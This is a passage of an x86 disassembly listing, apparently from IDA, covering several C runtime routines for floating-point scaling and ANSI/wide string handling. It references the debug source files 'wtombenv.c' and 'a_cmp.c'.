[ebp+edx+var_10] add ax, 1 mov ecx, [ebp+var_28] mov word ptr [ebp+ecx+var_10], ax loc_42FC0C: ; CODE XREF: sub_42F990+266j mov edx, [ebp+var_24] add edx, 2 mov [ebp+var_24], edx mov eax, [ebp+var_8] sub eax, 2 mov [ebp+var_8], eax jmp loc_42FB98 ; --------------------------------------------------------------------------- loc_42FC23: ; CODE XREF: sub_42F990+215j mov ecx, [ebp+var_28] add ecx, 2 mov [ebp+var_28], ecx jmp loc_42FB69 ; --------------------------------------------------------------------------- loc_42FC31: ; CODE XREF: sub_42F990+1E6j mov dx, word ptr [ebp+var_30] sub dx, 3FFEh mov word ptr [ebp+var_30], dx loc_42FC3E: ; CODE XREF: sub_42F990+2DBj movsx eax, word ptr [ebp+var_30] test eax, eax jle short loc_42FC6D mov ecx, [ebp+var_C] and ecx, 80000000h test ecx, ecx jnz short loc_42FC6D lea edx, [ebp+var_14] push edx call sub_42C930 add esp, 4 mov ax, word ptr [ebp+var_30] sub ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_42FC3E ; --------------------------------------------------------------------------- loc_42FC6D: ; CODE XREF: sub_42F990+2B4j ; sub_42F990+2C1j movsx ecx, word ptr [ebp+var_30] test ecx, ecx jg short loc_42FCCD mov dx, word ptr [ebp+var_30] sub dx, 1 mov word ptr [ebp+var_30], dx loc_42FC81: ; CODE XREF: sub_42F990+32Aj movsx eax, word ptr [ebp+var_30] test eax, eax jge short loc_42FCBC mov ecx, [ebp+var_14] and ecx, 0FFFFh and ecx, 1 test ecx, ecx jz short loc_42FCA2 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42FCA2: ; CODE XREF: sub_42F990+307j lea eax, [ebp+var_14] push eax call sub_42C990 add esp, 4 mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx jmp short loc_42FC81 ; --------------------------------------------------------------------------- loc_42FCBC: ; CODE XREF: sub_42F990+2F7j cmp [ebp+var_4], 0 jz short loc_42FCCD mov dx, word ptr [ebp+var_14] or dl, 1 mov word ptr [ebp+var_14], dx loc_42FCCD: ; CODE XREF: sub_42F990+2E3j ; sub_42F990+330j mov eax, [ebp+var_14] and eax, 0FFFFh cmp eax, 8000h jg short loc_42FCED mov ecx, [ebp+var_14] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_42FD4E loc_42FCED: ; CODE XREF: sub_42F990+34Aj cmp [ebp+var_14+2], 0FFFFFFFFh jnz short loc_42FD45 mov [ebp+var_14+2], 0 cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_42FD3A mov [ebp+var_10+2], 0 mov edx, [ebp+var_C+2] and edx, 0FFFFh cmp edx, 0FFFFh jnz short loc_42FD2C mov word ptr [ebp+var_C+2], 8000h mov ax, word ptr [ebp+var_30] add ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_42FD38 ; --------------------------------------------------------------------------- loc_42FD2C: ; CODE XREF: sub_42F990+386j mov cx, word ptr [ebp+var_C+2] add cx, 1 mov word ptr [ebp+var_C+2], cx loc_42FD38: ; CODE XREF: sub_42F990+39Aj jmp short loc_42FD43 ; --------------------------------------------------------------------------- loc_42FD3A: ; CODE XREF: sub_42F990+36Ej mov edx, [ebp+var_10+2] add edx, 1 mov [ebp+var_10+2], edx loc_42FD43: ; CODE XREF: sub_42F990:loc_42FD38j jmp short loc_42FD4E ; --------------------------------------------------------------------------- loc_42FD45: ; CODE XREF: sub_42F990+361j mov eax, [ebp+var_14+2] add eax, 1 mov [ebp+var_14+2], eax loc_42FD4E: ; CODE XREF: sub_42F990+35Bj ; sub_42F990:loc_42FD43j mov ecx, [ebp+var_30] and ecx, 0FFFFh cmp ecx, 7FFFh jl short loc_42FD93 mov edx, [ebp+var_2C] and edx, 0FFFFh neg edx sbb edx, edx and edx, 80000000h add edx, 7FFF8000h mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp short loc_42FDC9 ; --------------------------------------------------------------------------- loc_42FD93: ; CODE XREF: sub_42F990+3CDj mov eax, [ebp+arg_0] mov cx, word ptr [ebp+var_14+2] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_10] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+6], edx mov eax, [ebp+var_30] and eax, 0FFFFh mov ecx, [ebp+var_2C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax loc_42FDC9: ; CODE XREF: sub_42F990+EFj ; sub_42F990+122j ... mov esp, ebp pop ebp retn sub_42F990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FDD0 proc near ; CODE XREF: sub_42CB40+914p ; sub_42D6C0+288p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, offset dword_4440E0 sub eax, 60h mov [ebp+var_4], eax cmp [ebp+arg_4], 0 jnz short loc_42FDEC jmp loc_42FE8F ; --------------------------------------------------------------------------- loc_42FDEC: ; CODE XREF: sub_42FDD0+15j cmp [ebp+arg_4], 0 jge short loc_42FE05 mov ecx, [ebp+arg_4] neg ecx mov [ebp+arg_4], ecx mov edx, offset dword_444240 sub edx, 60h mov [ebp+var_4], edx loc_42FE05: ; CODE XREF: sub_42FDD0+20j cmp [ebp+arg_8], 0 jnz short loc_42FE13 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_42FE13: ; CODE XREF: sub_42FDD0+39j ; sub_42FDD0+6Aj ... cmp [ebp+arg_4], 0 jz short loc_42FE8F mov ecx, [ebp+var_4] add ecx, 54h mov [ebp+var_4], ecx mov edx, [ebp+arg_4] and edx, 7 mov [ebp+var_18], edx mov eax, [ebp+arg_4] sar eax, 3 mov [ebp+arg_4], eax cmp [ebp+var_18], 0 jnz short loc_42FE3C jmp short loc_42FE13 ; --------------------------------------------------------------------------- loc_42FE3C: ; CODE XREF: sub_42FDD0+68j mov ecx, [ebp+var_18] imul ecx, 0Ch mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor ecx, ecx mov cx, [eax] cmp ecx, 8000h jl short loc_42FE7D mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_14], eax mov ecx, [edx+4] mov [ebp+var_10], ecx mov edx, [edx+8] mov [ebp+var_C], edx mov eax, [ebp+var_14+2] sub eax, 1 mov [ebp+var_14+2], eax lea ecx, [ebp+var_14] mov [ebp+var_8], ecx loc_42FE7D: ; CODE XREF: sub_42FDD0+88j mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] push eax call sub_42F990 add esp, 8 jmp short loc_42FE13 ; --------------------------------------------------------------------------- loc_42FE8F: ; CODE XREF: sub_42FDD0+17j ; sub_42FDD0+47j mov esp, ebp pop ebp retn sub_42FDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FEA0 proc near ; CODE XREF: sub_42F050+19Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_433CF0 push offset sub_425F84 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_492400, 0 jnz short loc_42FF12 push 0 push 0 push 1 push 0 call ds:dword_4942A0 test eax, eax jz short loc_42FEED mov dword_492400, 1 jmp short loc_42FF12 ; --------------------------------------------------------------------------- loc_42FEED: ; CODE XREF: sub_42FEA0+3Fj push 0 push 0 push 1 push 0 call ds:dword_4943F0 test eax, eax jz short loc_42FF0B mov dword_492400, 2 jmp short loc_42FF12 ; --------------------------------------------------------------------------- loc_42FF0B: ; CODE XREF: sub_42FEA0+5Dj xor eax, eax jmp loc_430021 ; --------------------------------------------------------------------------- loc_42FF12: ; CODE XREF: sub_42FEA0+2Dj ; sub_42FEA0+4Bj ... cmp dword_492400, 1 jnz short loc_42FF36 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4942A0 jmp loc_430021 ; --------------------------------------------------------------------------- loc_42FF36: ; CODE XREF: sub_42FEA0+79j cmp dword_492400, 2 jnz loc_43001F cmp [ebp+arg_10], 0 jnz short loc_42FF52 mov ecx, dword_492180 mov [ebp+arg_10], ecx loc_42FF52: ; CODE XREF: sub_42FEA0+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4943F0 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_42FF74 xor eax, eax jmp loc_430021 ; --------------------------------------------------------------------------- loc_42FF74: ; CODE XREF: sub_42FEA0+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42FFB4 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_42FFB4: ; CODE XREF: sub_42FEA0+FBj cmp [ebp+var_20], 0 jnz short loc_42FFBE xor eax, eax jmp short loc_430021 ; --------------------------------------------------------------------------- loc_42FFBE: ; CODE XREF: sub_42FEA0+118j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4943F0 test eax, eax jnz short loc_42FFDC xor eax, eax jmp short loc_430021 ; --------------------------------------------------------------------------- loc_42FFDC: ; CODE XREF: sub_42FEA0+136j cmp [ebp+arg_C], 0 jnz short loc_42FFFD push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 1 mov ecx, [ebp+arg_10] push ecx call ds:dword_4942D4 mov [ebp+var_24], eax jmp short loc_43001A ; --------------------------------------------------------------------------- loc_42FFFD: ; CODE XREF: sub_42FEA0+140j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 1 mov edx, [ebp+arg_10] push edx call ds:dword_4942D4 mov [ebp+var_24], eax loc_43001A: ; CODE XREF: sub_42FEA0+15Bj mov eax, [ebp+var_24] jmp short loc_430021 ; --------------------------------------------------------------------------- loc_43001F: ; CODE XREF: sub_42FEA0+9Dj xor eax, eax loc_430021: ; CODE XREF: sub_42FEA0+6Dj ; sub_42FEA0+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42FEA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430040 proc near ; CODE XREF: sub_42F050+4Bp ; sub_42F050+7Ep ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_433D00 push offset sub_425F84 loc_43004F: ; DATA XREF: .data:00434550o ; .data:00434564o mov eax, large fs:0 push eax loc_430056: ; DATA XREF: .data:off_4343F4o ; .data:00434AB8o mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_492404, 0 jnz short loc_4300B2 push 0 push 0 push 1 push 0 call ds:dword_4942A0 test eax, eax jz short loc_43008D mov dword_492404, 1 jmp short loc_4300B2 ; --------------------------------------------------------------------------- loc_43008D: ; CODE XREF: sub_430040+3Fj push 0 push 0 push 1 push 0 call ds:dword_4943F0 test eax, eax jz short loc_4300AB mov dword_492404, 2 jmp short loc_4300B2 ; --------------------------------------------------------------------------- loc_4300AB: ; CODE XREF: sub_430040+5Dj xor eax, eax jmp loc_4301D1 ; --------------------------------------------------------------------------- loc_4300B2: ; CODE XREF: sub_430040+2Dj ; sub_430040+4Bj ... cmp dword_492404, 2 jnz short loc_4300D6 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4943F0 jmp loc_4301D1 ; --------------------------------------------------------------------------- loc_4300D6: ; CODE XREF: sub_430040+79j cmp dword_492404, 1 jnz loc_4301CF cmp [ebp+arg_10], 0 jnz short loc_4300F2 mov ecx, dword_492180 mov [ebp+arg_10], ecx loc_4300F2: ; CODE XREF: sub_430040+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4942A0 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_430114 xor eax, eax jmp loc_4301D1 ; --------------------------------------------------------------------------- loc_430114: ; CODE XREF: sub_430040+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_430156 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_430156: ; CODE XREF: sub_430040+FDj cmp [ebp+var_20], 0 jnz short loc_430160 xor eax, eax jmp short loc_4301D1 ; --------------------------------------------------------------------------- loc_430160: ; CODE XREF: sub_430040+11Aj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4942A0 test eax, eax jnz short loc_43017E xor eax, eax jmp short loc_4301D1 ; --------------------------------------------------------------------------- loc_43017E: ; CODE XREF: sub_430040+138j cmp [ebp+arg_C], 0 jnz short loc_4301A6 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_10] push ecx call ds:dword_4943B0 mov [ebp+var_24], eax jmp short loc_4301CA ; --------------------------------------------------------------------------- loc_4301A6: ; CODE XREF: sub_430040+142j push 0 push 0 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_10] push edx call ds:dword_4943B0 mov [ebp+var_24], eax loc_4301CA: ; CODE XREF: sub_430040+164j mov eax, [ebp+var_24] jmp short loc_4301D1 ; --------------------------------------------------------------------------- loc_4301CF: ; CODE XREF: sub_430040+9Dj xor eax, eax loc_4301D1: ; CODE XREF: sub_430040+6Dj ; sub_430040+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_430040 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4301F0 proc near ; CODE XREF: sub_42F770+9Bp ; sub_430A20+2Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 0 jnz short loc_4301FE xor eax, eax jmp short loc_43023B ; --------------------------------------------------------------------------- loc_4301FE: ; CODE XREF: sub_4301F0+8j mov eax, dword_492524 push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 1 mov edx, dword_492744 push edx call sub_4302F0 add esp, 1Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_430235 mov eax, 7FFFFFFFh jmp short loc_43023B ; --------------------------------------------------------------------------- loc_430235: ; CODE XREF: sub_4301F0+3Cj mov eax, [ebp+var_4] sub eax, 2 loc_43023B: ; CODE XREF: sub_4301F0+Cj ; sub_4301F0+43j mov esp, ebp pop ebp retn sub_4301F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430240 proc near ; CODE XREF: sub_42F770+2Dp ; sub_430740+81p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_4920B8 mov [ebp+var_4], eax loc_43024E: ; CODE XREF: sub_430240+A3j mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0 jz loc_4302E8 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+var_4] mov eax, [edx] push eax push 0 push 1 call ds:dword_4943B0 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_430282 or eax, 0FFFFFFFFh jmp short loc_4302EA ; --------------------------------------------------------------------------- loc_430282: ; CODE XREF: sub_430240+3Bj push 3Dh push offset aWtombenv_c ; "wtombenv.c" push 2 mov ecx, [ebp+var_C] push ecx call sub_416A30 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4302A5 or eax, 0FFFFFFFFh jmp short loc_4302EA ; --------------------------------------------------------------------------- loc_4302A5: ; CODE XREF: sub_430240+5Ej push 0 push 0 mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_4] mov edx, [ecx] push edx push 0 push 1 call ds:dword_4943B0 test eax, eax jnz short loc_4302CC or eax, 0FFFFFFFFh jmp short loc_4302EA ; --------------------------------------------------------------------------- loc_4302CC: ; CODE XREF: sub_430240+85j push 0 mov eax, [ebp+var_8] push eax call sub_430740 add esp, 8 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp loc_43024E ; --------------------------------------------------------------------------- loc_4302E8: ; CODE XREF: sub_430240+14j xor eax, eax loc_4302EA: ; CODE XREF: sub_430240+40j ; sub_430240+63j ... mov esp, ebp pop ebp retn sub_430240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4302F0 proc near ; CODE XREF: sub_4301F0+2Dp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_433D60 push offset sub_425F84 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_492408, 0 jnz short loc_430376 push 1 push offset dword_43301C push 1 push offset dword_43301C push 0 push 0 call ds:dword_494298 test eax, eax jz short loc_430347 mov dword_492408, 1 jmp short loc_430376 ; --------------------------------------------------------------------------- loc_430347: ; CODE XREF: sub_4302F0+49j push 1 push offset dword_433018 push 1 push offset dword_433018 push 0 push 0 call ds:dword_49429C test eax, eax jz short loc_43036F mov dword_492408, 2 jmp short loc_430376 ; --------------------------------------------------------------------------- loc_43036F: ; CODE XREF: sub_4302F0+71j xor eax, eax jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_430376: ; CODE XREF: sub_4302F0+2Dj ; sub_4302F0+55j ... cmp [ebp+arg_C], 0 jle short loc_43038F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_4306F0 add esp, 8 mov [ebp+arg_C], eax loc_43038F: ; CODE XREF: sub_4302F0+8Aj cmp [ebp+arg_14], 0 jle short loc_4303A8 mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax call sub_4306F0 add esp, 8 mov [ebp+arg_14], eax loc_4303A8: ; CODE XREF: sub_4302F0+A3j cmp dword_492408, 2 jnz short loc_4303D4 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_49429C jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_4303D4: ; CODE XREF: sub_4302F0+BFj cmp dword_492408, 1 jnz loc_4306D2 cmp [ebp+arg_18], 0 jnz short loc_4303F0 mov ecx, dword_492180 mov [ebp+arg_18], ecx loc_4303F0: ; CODE XREF: sub_4302F0+F5j cmp [ebp+arg_C], 0 jz short loc_430400 cmp [ebp+arg_14], 0 jnz loc_43057C loc_430400: ; CODE XREF: sub_4302F0+104j mov edx, [ebp+arg_C] cmp edx, [ebp+arg_14] jnz short loc_430412 mov eax, 2 jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_430412: ; CODE XREF: sub_4302F0+116j cmp [ebp+arg_14], 1 jle short loc_430422 mov eax, 1 jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_430422: ; CODE XREF: sub_4302F0+126j cmp [ebp+arg_C], 1 jle short loc_430432 mov eax, 3 jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_430432: ; CODE XREF: sub_4302F0+136j lea eax, [ebp+var_3C] push eax mov ecx, [ebp+arg_18] push ecx call ds:dword_49447C test eax, eax jnz short loc_43044B xor eax, eax jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_43044B: ; CODE XREF: sub_4302F0+152j ; sub_4302F0+198j cmp [ebp+arg_C], 0 jnz short loc_430457 cmp [ebp+arg_14], 1 jz short loc_430484 loc_430457: ; CODE XREF: sub_4302F0+15Fj cmp [ebp+arg_C], 1 jnz short loc_430463 cmp [ebp+arg_14], 0 jz short loc_430484 loc_430463: ; CODE XREF: sub_4302F0+16Bj push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"... push 0 push 0B6h push offset aA_cmp_c ; "a_cmp.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_430484 int 3 ; Trap to Debugger loc_430484: ; CODE XREF: sub_4302F0+165j ; sub_4302F0+171j ... xor edx, edx test edx, edx jnz short loc_43044B cmp [ebp+arg_C], 0 jle short loc_430503 cmp [ebp+var_3C], 2 jnb short loc_4304A0 mov eax, 3 jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_4304A0: ; CODE XREF: sub_4302F0+1A4j lea eax, [ebp+var_36] mov [ebp+var_40], eax jmp short loc_4304B1 ; --------------------------------------------------------------------------- loc_4304A8: ; CODE XREF: sub_4302F0:loc_4304F7j mov ecx, [ebp+var_40] add ecx, 2 mov [ebp+var_40], ecx loc_4304B1: ; CODE XREF: sub_4302F0+1B6j mov edx, [ebp+var_40] xor eax, eax mov al, [edx] test eax, eax jz short loc_4304F9 mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_4304F9 mov eax, [ebp+arg_8] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx] cmp ecx, eax jl short loc_4304F7 mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] cmp edx, ecx jg short loc_4304F7 mov eax, 2 jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_4304F7: ; CODE XREF: sub_4302F0+1E8j ; sub_4302F0+1FBj jmp short loc_4304A8 ; --------------------------------------------------------------------------- loc_4304F9: ; CODE XREF: sub_4302F0+1CAj ; sub_4302F0+1D6j mov eax, 3 jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_430503: ; CODE XREF: sub_4302F0+19Ej cmp [ebp+arg_14], 0 jle short loc_43057C cmp [ebp+var_3C], 2 jnb short loc_430519 mov eax, 1 jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_430519: ; CODE XREF: sub_4302F0+21Dj lea edx, [ebp+var_36] mov [ebp+var_40], edx jmp short loc_43052A ; --------------------------------------------------------------------------- loc_430521: ; CODE XREF: sub_4302F0:loc_430570j mov eax, [ebp+var_40] add eax, 2 mov [ebp+var_40], eax loc_43052A: ; CODE XREF: sub_4302F0+22Fj mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_430572 mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_430572 mov edx, [ebp+arg_10] xor eax, eax mov al, [edx] mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] cmp eax, edx jl short loc_430570 mov eax, [ebp+arg_10] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx+1] cmp ecx, eax jg short loc_430570 mov eax, 2 jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_430570: ; CODE XREF: sub_4302F0+261j ; sub_4302F0+274j jmp short loc_430521 ; --------------------------------------------------------------------------- loc_430572: ; CODE XREF: sub_4302F0+243j ; sub_4302F0+24Fj mov eax, 1 jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_43057C: ; CODE XREF: sub_4302F0+10Aj ; sub_4302F0+217j push 0 push 0 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 9 mov eax, [ebp+arg_18] push eax call ds:dword_4942D4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_4305A4 xor eax, eax jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_4305A4: ; CODE XREF: sub_4302F0+2ABj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_44], esp mov [ebp+var_18], esp mov ecx, [ebp+var_44] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4305E6 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_4305E6: ; CODE XREF: sub_4302F0+2DDj cmp [ebp+var_24], 0 jnz short loc_4305F3 xor eax, eax jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_4305F3: ; CODE XREF: sub_4302F0+2FAj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax call ds:dword_4942D4 test eax, eax jnz short loc_43061A xor eax, eax jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_43061A: ; CODE XREF: sub_4302F0+321j push 0 push 0 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 9 mov eax, [ebp+arg_18] push eax call ds:dword_4942D4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_430642 xor eax, eax jmp loc_4306D4 ; --------------------------------------------------------------------------- loc_430642: ; CODE XREF: sub_4302F0+349j mov [ebp+var_4], 1 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_48], esp mov [ebp+var_18], esp mov ecx, [ebp+var_48] mov [ebp+var_28], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_430684 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_28], 0 mov [ebp+var_4], 0FFFFFFFFh loc_430684: ; CODE XREF: sub_4302F0+37Bj cmp [ebp+var_28], 0 jnz short loc_43068E xor eax, eax jmp short loc_4306D4 ; --------------------------------------------------------------------------- loc_43068E: ; CODE XREF: sub_4302F0+398j mov edx, [ebp+var_20] push edx mov eax, [ebp+var_28] push eax mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 1 mov eax, [ebp+arg_18] push eax call ds:dword_4942D4 test eax, eax jnz short loc_4306B2 xor eax, eax jmp short loc_4306D4 ; --------------------------------------------------------------------------- loc_4306B2: ; CODE XREF: sub_4302F0+3BCj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_494298 jmp short loc_4306D4 ; --------------------------------------------------------------------------- loc_4306D2: ; CODE XREF: sub_4302F0+EBj xor eax, eax loc_4306D4: ; CODE XREF: sub_4302F0+81j ; sub_4302F0+DFj ... lea esp, [ebp-54h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4302F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4306F0 proc near ; CODE XREF: sub_4302F0+94p ; sub_4302F0+ADp var_8 = dword ptr -8 var_4 = 